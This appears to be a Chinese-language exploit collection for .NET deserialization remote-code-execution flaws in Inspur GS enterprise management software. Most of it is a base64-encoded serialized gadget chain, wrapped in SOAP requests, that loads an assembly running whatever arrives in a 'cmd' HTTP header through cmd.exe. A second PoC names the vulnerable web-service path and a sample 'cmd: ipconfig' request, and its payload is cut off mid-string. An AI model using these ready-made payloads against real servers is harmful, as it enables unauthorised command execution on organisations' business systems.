AAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgAAAAAAAAAAAAAAAAAAAAAAAAA
BgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAg
AAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAA
AAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgA
AAAAgAAAA4AAAAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAwCYAAAAAAAABIAAAAAgAFADAhAA
BgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgAACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEA
AHBvCwAACgZvDAAACm8NAAAKchEAAHBvDgAACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RA
AAKB28KAAAKF28SAAAKB28KAAAKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt
4ABm8HAAAKbxgAAAoGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAwAAAB2NC4
wLjMwMzE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDABAAA
EAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAAAEAAAAOAAAAA
gAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAAACgABAAAAAAAAGACkAIgAGAFYANgAGAHYANgAKAKgAnQ
AKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgAGACQCGgIGAEQCGgIGAGkCIgA
AAAAAAQAAAAAAAAAQABAAAAEAAXAAAABQABAAEAUCAAAAAAAhhgwAAoAAQARADAADgAZADAACgAJADAACgAh
ALQAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBOgBRA
KYBPwBZALYBRABBAL0BMABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF
8CCgAxAGUCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAAAABABk
AAAAAAAQAAAAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAAQAiAAAAAAAAAAAA8TW9kdWxlPgBrd3V3
YWNwdy5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50aW1lLkNvbXBpb
GVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbG
l0eUF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50AEh0dHB
TZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNl
AENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFByb2Nlc3NTdGFydEluZm8AZ2V0X1N0YXJ0S
W5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1JlcXVlc3QAU3lzdGVtLkNvbGxlY3Rpb25zLl
NwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3RyaW5nAEN
vbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0
YW5kYXJkRXJyb3IAc2V0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyA
GdldF9TdGFuZGFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZX
B0aW9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAABy8AYwAgAAAAAAAA2IZXU/G1oT7AM+EyvNpdOAAi
3elxWGTTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQQgABIp
BCABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAAeAQABAFQCFldyYXBOb
25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAAAziYAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM

```
AmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAA
AAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAATAIAAAAAAAAAAAAATAI0AAAAVgBTA
F8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAA
AABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQ
AcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA
bwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAb
wBuAAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAAPA
ANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAAKAA
CAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABG
AGkAbABlAG4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1A
GMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAF
YAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5pdHlTZ
XJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEAAAD+AV
N5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGV
tLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNL
ZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29yb
GliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNT
YxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV
1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggI
AAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjd
EVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIF
ZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzR
lMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUs
IG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Y
jc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYW
wsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgk
oAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVy
ZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51b
WVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZX
V0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQ
uMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5
c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpY
iwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MT
kzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWN
LZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAACAAAAJBQAAAAoJLAAAAAoICAAA
AAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFb
nVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMV
```

```
tbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHV
ibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBD
dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZ
SwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACgg
IAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVy
YWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0d
XJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LC
Btc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI
3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAAB
GQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGN
wAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG
9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAA
AARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAA
BjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZ
W49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANF
N5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAAB
LbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1i
NzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAA
AAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQ
dtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N
5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAA
JAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAA
AlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS
5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeeQcAAAAEdHlwZQhhc3NlbWJseeQZ
0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVF
bnRyeeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5B
lAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLj
AsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5
SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy
YWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtL
lJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlck
luZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF
0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5
cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0Z
VtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACg
FEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXN
jb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh
NWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzd
GVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2
V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJ
lPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAG
WwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdld
FR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeX
N0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0
uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlU
b2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b
mV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy
5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4
wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3Js
aWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1N
jE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bW
VyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV
0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFH
AAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZ
XJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbn
```

```
MuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjA
uMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51
bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb
25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC
4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2N
vcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1
YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vsd
HVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAA
AAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAA
ACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVO
ZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR
2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMC
wgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGl
iLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYx
OTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ld
XRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3
RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiw
gVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkz
NGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3Rlb
S5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAE
IAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4
wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3Rl
bS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS
2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBn
sAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtLk9iamV
jdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3Rh
bmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc
2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCw
AAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J
O7irREYv7AKDJDyb3Cws=</printOpByte>
      <printInfoByte></printInfoByte>
    </SavePrintFormatAssign>
  </soap:Body>
</soap:Envelope>
```

浪潮GS企业管理软件多处 .NET反序列化RCE漏洞poc2

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx
- 漏洞详情：

```
POST
/cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,like
Gecko) Chrome/61.0.1191.80 Safari/537.36
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
cmd: ipconfig

<?xml version="1.0" encoding="utf-8"?>
```

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetChildFormAndEntityList xmlns="http://tempuri.org/">
      <baseFormID>string</baseFormID>
      <baseEntityID>string</baseEntityID>
```

```
<strFormAssignment>AAEAAAD/AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2
lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODk
FAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5
BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR
2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bH
R1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3N
